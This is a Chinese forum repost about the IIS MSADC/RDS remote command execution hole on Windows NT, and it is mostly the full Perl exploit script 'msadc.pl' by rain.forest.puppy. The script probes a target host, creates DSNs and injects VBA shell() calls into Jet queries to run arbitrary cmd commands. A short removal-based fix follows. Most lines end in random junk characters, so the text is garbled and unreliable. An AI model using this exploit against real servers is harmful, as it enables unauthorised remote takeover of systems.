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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) MN\HDKN  
=l+yA>t|  
涉及程序: [_k1jHr48N  
Microsoft NT server \NPmym_ 6J  
fp`;U_-&0  
描述: !LNayk's>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +S o4rA*9  
Ayxkv)%:@)  
详细: uXn1 'K<'2  
如果你没有时间读详细内容的话,就删除: EJMM9(DQ7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll =;Au<|  
有关的安全问题就没有了。 eA2@Nkw~)  
ofm#'7P 0  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -|$@-fY;  
rC5 p-B%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,E S0NA  
关于利用ODBC远程漏洞的描述,请参看: ssfr}fzH  
Cd#(X@n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d; boIP`M;  
~vm%6CABM  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Z^3rLCa  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Fs9!S a7v  
?9 <:QE;I>  
这里不再论述。 aTH{'mN  
+$ 'Zf0U  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &u$Q4  
'DP1,7  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 75T%g!c#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! (7wc*#}  
?:Uv[|S#>  
{$0mwAOH "  
#将下面这段保存为txt文件,然后: "perl -x 文件名" DX#Nf""Pw  
mE+*)gb:Rd  
#!perl ~Y^+M*   
# (KjoSN( K  
# MSADC/RDS 'usage' (aka exploit) script +}Dw3;W}m  
# W=N+VqK  
# by rain.forest.puppy 5-:?&|JK;  
# rBQ_iB_  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0q()|y?}  
# beta test and find errors! 3c-GY:VkLM  
#NEE7'&S  
use Socket; use Getopt::Std; ZgTW.<.%2  
getopts("e:vd:h:XR", \%args); {'7B6  
- YEZ]:"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /6)<}#  
*& BQTZ6  
if (!defined $args{h} && !defined $args{R}) { 6AAz  
print qq~ BtkOnbz8X  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3#3n!(  
-h <host> = host you want to scan (ip or domain) bQg c8/  
-d <seconds> = delay between calls, default 1 second t% d Z-Ym  
-X = dump Index Server path table, if available 0yk]o5a++  
-v = verbose rD*jp6Cl  
-e = external dictionary file for step 5 cN/6SGHK  
W=~~5jFX  
Or a -R will resume a command session ;AG8C#_  
.]8ZwAs=&  
~; exit;} 3#LlDC_WC  
%z=le7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; /CrSu  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zVViLUwG  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 5%Y3 Kwyy  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {&&z-^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ?g_3 [Fk  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ; 5*&xz  
7r6.n61F  
if (!defined $args{R}){ $ret = &has_msadc; Xr,1&"B&t  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G<L;4nA)  
yuh *  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <$D`Z-6  
. "cmd /c "; sA+ }TNhq  
$in=<STDIN>; chomp $in; /:cd\A}  
$command="cmd /c " . $in ; g@d*\ P)  
{i;r  
if (defined $args{R}) {&load; exit;} M H|Og84  
#|uCgdi  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; )HEa<P^kJl  
&try_btcustmr; Ki;*u_4{  
g_;\iqxL  
print "\nStep 2: Trying to make our own DSN..."; "BM#4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; fW?vdYF  
P0;n9>g  
print "\nStep 3: Trying known DSNs..."; /p/]t,-j2  
&known_dsn; |Tv#4st  
pIc#L>{E  
print "\nStep 4: Trying known .mdbs..."; KYB`D.O   
&known_mdb; s n8Qk=K  
lov!o: dJ  
if (defined $args{e}){ (Lbbc+1m  
print "\nStep 5: Trying dictionary of DSN names..."; =O~_Q-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ))qy;Q,  
oh4E7yN  
print "Sorry Charley...maybe next time?\n"; vx{}}/B]J  
exit; })'B<vq  
,V7nzhA2  
############################################################################## M`0V~P`^  
S;Fi?M  
sub sendraw { # ripped and modded from whisker {B~QQMEow  
sleep($delay); # it's a DoS on the server! At least on mine... 9=s<Ld  
my ($pstr)=@_; ko!)s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u2tfF  
die("Socket problems\n"); lqy Qf$t  
if(connect(S,pack "SnA4x8",2,80,$target)){ y#`tgJ:  
select(S); $|=1; q v-8)MSr  
print $pstr; my @in=<S>; m&d|t>3<  
select(STDOUT); close(S); @="Pn5<]C  
return @in; F|`Hm  
} else { die("Can't connect...\n"); }}  \__i  
(O\ )_#-D  
############################################################################## 1 s\Wtw:  
zOJ%}  
sub make_header { # make the HTTP request )7hqJa-V  
my $msadc=<<EOT Xu{1".\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ."g`3tVK  
User-Agent: ACTIVEDATA &w\{TZ{  
Host: $ip .7J#_* N V  
Content-Length: $clen RTYvS5 G  
Connection: Keep-Alive G0Iw-vf  
)Om*@;r(  
ADCClientVersion:01.06 &s(^@OayE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 P1!qbFDv8  
)705V|v  
--!ADM!ROX!YOUR!WORLD! Zj(AJ*r  
Content-Type: application/x-varg vz&|J   
Content-Length: $reqlen 7P } W *  
9i:L&dN  
EOT 5=-Q4d  
; $msadc=~s/\n/\r\n/g; yNPVOp*  
return $msadc;} IW5,7.  
e1yt9@k,  
############################################################################## e[1hz_v  
nkPh,X\N0  
sub make_req { # make the RDS request =F|{# F  
my ($switch, $p1, $p2)=@_; Q3'llOx  
my $req=""; my $t1, $t2, $query, $dsn; $t+,Tav  
b1I]>\  
if ($switch==1){ # this is the btcustmr.mdb query _;"il%l=1  
$query="Select * from Customers where City=" . make_shell(); gt) I(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }{Pp]*I<A  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} n9\TO9N  
ijv(9mR  
elsif ($switch==2){ # this is general make table query xo^b&ktQd  
$query="create table AZZ (B int, C varchar(10))"; 2DA]i5  
$dsn="$p1";} RH W]Z Pr<  
Da*?x8sSL  
elsif ($switch==3){ # this is general exploit table query \  #F  
$query="select * from AZZ where C=" . make_shell(); +Ze} B*0  
$dsn="$p1";} )D O?VRI  
iI T;K@&  
elsif ($switch==4){ # attempt to hork file info from index server iT+8|Yia  
$query="select path from scope()"; #\{l"-  
$dsn="Provider=MSIDXS;";} E_rI?t^  
gT. sj d  
elsif ($switch==5){ # bad query C[cbbp  
$query="select"; >>r(/81S  
$dsn="$p1";} yX>K/68  
, >a&"V^k  
$t1= make_unicode($query); WCZjXDiwJ  
$t2= make_unicode($dsn); :U|1xgB  
$req = "\x02\x00\x03\x00"; )rU  
$req.= "\x08\x00" . pack ("S1", length($t1)); e+7"/icK  
$req.= "\x00\x00" . $t1 ; (TtkFo'!U  
$req.= "\x08\x00" . pack ("S1", length($t2)); NWESP U):w  
$req.= "\x00\x00" . $t2 ; /8'NG6"H`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; K8|r&`X0  
return $req;} q>_.[+6  
XSB"{H>&  
############################################################################## 6_o*y8s.  
5vQHhwO50k  
sub make_shell { # this makes the shell() statement s[>,X#7 y  
return "'|shell(\"$command\")|'";} XT%nbh&y  
P;.W+WN  
############################################################################## <dWv?<o  
+HpA:]#Y  
sub make_unicode { # quick little function to convert to unicode  tU5zF.%  
my ($in)=@_; my $out; #lo6c;*m5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 2QcOR4_V  
return $out;} 5DU6rks%  
y-b%T|p9  
############################################################################## 1t~G|zhX  
HVCe;eI  
sub rdo_success { # checks for RDO return success (this is kludge) h+H%?:FX  
my (@in) = @_; my $base=content_start(@in); "S]0  
if($in[$base]=~/multipart\/mixed/){ !?jrf] A@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Dj?> <@  
return 0;} HyQJXw?A:  
e2Pcm_Ahv*  
############################################################################## a5"D@E  
G$"h&Xy1c  
sub make_dsn { # this makes a DSN for us QVT5}OzMt  
my @drives=("c","d","e","f"); i^&~?2  
print "\nMaking DSN: "; < NY^M!  
foreach $drive (@drives) { p`dU2gV  
print "$drive: "; ys^oG$lq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &BLJT9Frx  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H|<[YYk  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :S83vE81WK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; RLXL&  
return 0 if $2 eq "404"; # not found/doesn't exist iuW[`ou X  
if($2 eq "200") { M/'sl;  
foreach $line (@results) { U}[d_f  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} bH9kj/q\b  
} return 0;} UhWNl]Z  
)EuvRLo{S7  
############################################################################## HWrO"b*tO  
{]!mrAjD  
sub verify_exists { i# /Jr=  
my ($page)=@_; {lDd.Fn  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2]jn '4  
return $results[0];} Sv#XIMw{,  
XEp{VC@=  
############################################################################## [!uG1GJ>  
U$.@]F4&  
sub try_btcustmr { oulVg];  
my @drives=("c","d","e","f"); gCS<iBT(7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); DJ k/{Z:  
P )"m0Lu<  
foreach $dir (@dirs) { 2;`1h[,-^  
print "$dir -> "; # fun status so you can see progress #Y`~(K47  
foreach $drive (@drives) { )9G[dDeC  
print "$drive: "; # ditto N)|yu1S  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 6<SAa#@ey  
$reqlenlen=length( "$reqlen" ); %lhEM}Sm  
$clen= 206 + $reqlenlen + $reqlen; \ZFGw&yN  
kx{{_w  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <z&/L/bl"  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} @V sG'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} xC:L)7#aw  
qJs<#MQ2  
############################################################################## #U4F0BdA  
Gr'  CtO  
sub odbc_error { 1CD+B=pQG  
my (@in)=@_; my $base; 34O `@j0-3  
my $base = content_start(@in); nwe* BVp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 85$m[+md  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dr}`H,X"3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6r0krbN  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %D34/=(X  
return $in[$base+4].$in[$base+5].$in[$base+6];} {SPq$B_VR  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )p0^zv{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l`{\"#4  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} CS5?Ti6  
'RR~7h  
############################################################################## (,Q7@s  
;-lXU0}&  
sub verbose { sN*N&XG  
my ($in)=@_; . B9iLI  
return if !$verbose; LVfF[  
print STDOUT "\n$in\n";} DB|Y  
U^%Q}'UYym  
############################################################################## \;3~a9q%  
jl$ece5v  
sub save { A]0 St@  
my ($p1, $p2, $p3, $p4)=@_; K~{$oD7!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ?0?#U0(;u  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; QB uMJm  
close OUT;} Ad8n<zt|  
wLH>:yKUU  
############################################################################## bKY7/w<dP  
gIa+5\qYY  
sub load { )3}9K ^jS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *[Tz![|  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); - >-KCd1b  
@p=<IN>; close(IN); H3 ^},.  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); n8 i] z  
$target= inet_aton($ip) || die("inet_aton problems"); @7]yl&LZ  
print "Resuming to $ip ..."; oy=js -  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1\ ~ "VF*{  
if($p[1]==1) { ? 7n`A >T  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; =_2jK0+}l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,t?B+$E  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); k8[n+^  
if (rdo_success(@results)){print "Success!\n";} mbxZL<ua  
else { print "failed\n"; verbose(odbc_error(@results));}} h$>-.-  
elsif ($p[1]==3){ 9gDkTYkj  
if(run_query("$p[3]")){ b\kdKVh&  
print "Success!\n";} else { print "failed\n"; }} D6Ui!  
elsif ($p[1]==4){ f!uwzHA`?  
if(run_query($drvst . "$p[3]")){ TH&U j1  
print "Success!\n"; } else { print "failed\n"; }} _Xc8Yg }`  
exit;} :Zbg9`d*  
jh%Eq+#S  
############################################################################## x(6SG+Kr  
gnOt+W8  
sub create_table { O7m(o:t x3  
my ($in)=@_; /<=u\e'rE  
$reqlen=length( make_req(2,$in,"") ) - 28; -`kW&I0  
$reqlenlen=length( "$reqlen" ); iDp)FQ$  
$clen= 206 + $reqlenlen + $reqlen; D9=KXo^  
my @results=sendraw(make_header() . make_req(2,$in,"")); JN-y)L/>  
return 1 if rdo_success(@results); (AaoCa[  
my $temp= odbc_error(@results); verbose($temp); RQ'9m^  
return 1 if $temp=~/Table 'AZZ' already exists/; ]Kt6^|S$a  
return 0;} C=L>zOZ  
v\gLWq'  
############################################################################## 5oW!YJg  
g0=z&2Q[_)  
sub known_dsn { P|tO<t6/9*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *xxx:*6rk;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !}#8)?p  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", WUe{vV#S'0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); kW Ml  
p Z|V 3  
foreach $dSn (@dsns) { x_N'TjS^{  
print "."; (l~AV9!m:  
next if (!is_access("DSN=$dSn")); RUnSCOdX  
if(create_table("DSN=$dSn")){ _?m(V=z>  
print "$dSn successful\n"; Eex~xiiV  
if(run_query("DSN=$dSn")){ x:NY\._  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S]e|"n~@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _~l5u8{^6  
WdH$JTk1  
############################################################################## ;>EM[u  
wo;~7K  
sub is_access { X; \+<LE  
my ($in)=@_; a od-3"7[  
$reqlen=length( make_req(5,$in,"") ) - 28; |}s*E_/[  
$reqlenlen=length( "$reqlen" ); b.JuI  
$clen= 206 + $reqlenlen + $reqlen; VK\X&Y3l  
my @results=sendraw(make_header() . make_req(5,$in,"")); jKAEm  
my $temp= odbc_error(@results); DZ'P@f)]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {0Yf]FQb-a  
return 0;} y*jp79G  
jjB~G^n  
############################################################################## m<T%Rb4?@  
O~#!l"0 L+  
sub run_query { `!;_ho  
my ($in)=@_; gZ3u=uME  
$reqlen=length( make_req(3,$in,"") ) - 28; Xv5wJlc!d  
$reqlenlen=length( "$reqlen" ); Ct<udO  
$clen= 206 + $reqlenlen + $reqlen; ^B.5GK)!  
my @results=sendraw(make_header() . make_req(3,$in,"")); z;,u}u}aI  
return 1 if rdo_success(@results); m{Wu" ;e  
my $temp= odbc_error(@results); verbose($temp); Y1W1=Uc uk  
return 0;} K,;E5  
~tS Z%q  
############################################################################## J9--tJ?[>o  
rK6l8)o  
sub known_mdb { O'p9u@kc  
my @drives=("c","d","e","f","g"); Uou1mZz/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O_ muD\  
my $dir, $drive, $mdb; a8e6H30Sm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; oQ/E}Zk@  
]KKS"0a  
# this is sparse, because I don't know of many  c(f  
my @sysmdbs=( "\\catroot\\icatalog.mdb", T?CdZc.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~OYiq}g  
"\\system32\\certmdb.mdb", x*\Y)9Vgy  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% { =9,n\85#  
zOAd~E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", b;B%q$sntC  
"\\cfusion\\cfapps\\forums\\forums_.mdb", A7Cm5>Y_S  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", kYP#SH/  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ytp(aE:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #1A.?p  
"\\cfusion\\database\\cfexamples.mdb", !OhC/f(GBZ  
"\\cfusion\\database\\cfsnippets.mdb", R6<X%*&%  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \_VA 50  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", PfAgM1   
"\\cfusion\\brighttiger\\database\\cleam.mdb", T*/rySs  
"\\cfusion\\database\\smpolicy.mdb", XB;7!8|  
"\\cfusion\\database\cypress.mdb", 6m/r+?'  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", U/66L+1  
"\\website\\cgi-win\\dbsample.mdb", xf\C|@i  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J\} twYty  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I;,77PxD  
); #these are just 4$HhP, gL=  
foreach $drive (@drives) { ) yi E@ X  
foreach $dir (@dirs){ <Uk}o8E  
foreach $mdb (@sysmdbs) { /Vx7mF:  
print "."; HYD'.uj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ B-Ll{k^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; s0TORl6Z|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >NGj =L<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <[a=ceL]|  
} else { print "Something's borked. Use verbose next time\n"; }}}}} /Y:sLGQLD  
zJKv'>?  
foreach $drive (@drives) { /Iu 1L#  
foreach $mdb (@mdbs) { P[G)sA_"  
print "."; kf\PioD8  
if(create_table($drv . $drive . $dir . $mdb)){ q<x/Hat)  
print "\n" . $drive . $dir . $mdb . " successful\n"; R^8o^z['6u  
if(run_query($drv . $drive . $dir . $mdb)){ + B,}Qr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; G=s}12/Z"{  
} else { print "Something's borked. Use verbose next time\n"; }}}} Pf")e,u$  
} <6%?OJhp  
58}U^IW  
############################################################################## 6IN e@  
hIYNhZv  
sub hork_idx { y1jCg%'H  
print "\nAttempting to dump Index Server tables...\n"; )W,aN)1)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5zK4Fraf  
$reqlen=length( make_req(4,"","") ) - 28; K(e$esLs-  
$reqlenlen=length( "$reqlen" ); ,i ^9 |Oeq  
$clen= 206 + $reqlenlen + $reqlen; k$^UUo6  
my @results=sendraw2(make_header() . make_req(4,"","")); V@.Ior}w  
if (rdo_success(@results)){ ih-#5M@  
my $max=@results; my $c; my %d; gMi0FO'  
for($c=19; $c<$max; $c++){ //up5R_nx  
$results[$c]=~s/\x00//g; kYE9M8s;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >4x(e\B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; p%up)]?0  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; T= 80,  
$d{"$1$2"}="";} \i>?q   
foreach $c (keys %d){ print "$c\n"; } Fk&c=V;SU  
} else {print "Index server doesn't seem to be installed.\n"; }} \Gef \   
/* (Kr'c  
############################################################################## 5ORo3T%  
}?$F}s-  
sub dsn_dict { E<rp7~#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ; }I:\P  
while(<IN>){ '0;l]/i.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^ox=HNV  
next if (!is_access("DSN=$dSn")); j.[.1G*("  
if(create_table("DSN=$dSn")){ zF`0J  
print "$dSn successful\n"; &Q/W~)~  
if(run_query("DSN=$dSn")){ &N$<e(K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { z#9aP&8Q  
print "Something's borked. Use verbose next time\n";}}}  h},IF  
print "\n"; close(IN);}  Po+.&7F  
X;+sUj8  
############################################################################## ~Py`P'+  
;DQ ZT  
sub sendraw2 { # ripped and modded from whisker  \{_q.;}  
sleep($delay); # it's a DoS on the server! At least on mine... N@4w! HpJ  
my ($pstr)=@_; O0x,lq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || mX"oW_EK  
die("Socket problems\n"); 4!{KWL`A  
if(connect(S,pack "SnA4x8",2,80,$target)){ n1ZbRV  
print "Connected. Getting data"; (!u~CZ;  
open(OUT,">raw.out"); my @in; ^cC,.Fdw  
select(S); $|=1; print $pstr; {S]}.7`l9(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} OU\~::  
close(OUT); select(STDOUT); close(S); return @in; soB,j3#p'*  
} else { die("Can't connect...\n"); }} n-2]M0 5O  
>a<.mU|#  
############################################################################## b}$+H/V  
oi7@s0@  
sub content_start { # this will take in the server headers E:_ZA  
my (@in)=@_; my $c; RF$eQzW  
for ($c=1;$c<500;$c++) { 5:[0z5Hww  
if($in[$c] =~/^\x0d\x0a/){ e-/&$Qq  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ZL&qp04}  
else { return $c+1; }}} y-pJF{ R  
return -1;} # it should never get here actually n: ^ d|@  
$?iLLA~  
############################################################################## gT{Q#C2Baw  
x M/+L:_<  
sub funky { Ys9[5@7  
my (@in)=@_; my $error=odbc_error(@in); _IHV7*u{;  
if($error=~/ADO could not find the specified provider/){ :1Xz4wkWS*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; aH(J,XY  
exit;} ,Q$ q=E;X  
if($error=~/A Handler is required/){ wYXQlxdy  
print "\nServer has custom handler filters (they most likely are patched)\n"; :wyno#8`-  
exit;} #6aW9GO  
if($error=~/specified Handler has denied Access/){ 4}baSV  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?T8}K>a  
exit;}} +zN-!5x  
IJp-BTO{V  
############################################################################## dh\'<|\K  
G^|:N[>B  
sub has_msadc { .[KrlfI  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); oAVnK[EMq`  
my $base=content_start(@results); wc@X.Q[  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); e`_LEv  
return 0;} ;W )Y OT  
ij`w} V  
######################## MTh<|$   
A0s ZOCky  
~8Fk(E_  
解决方案: =!A_^;NQf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll %g$o/A$  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ifQ*,+@fxR  
kd(8I_i@  
拿出来充数 哈哈
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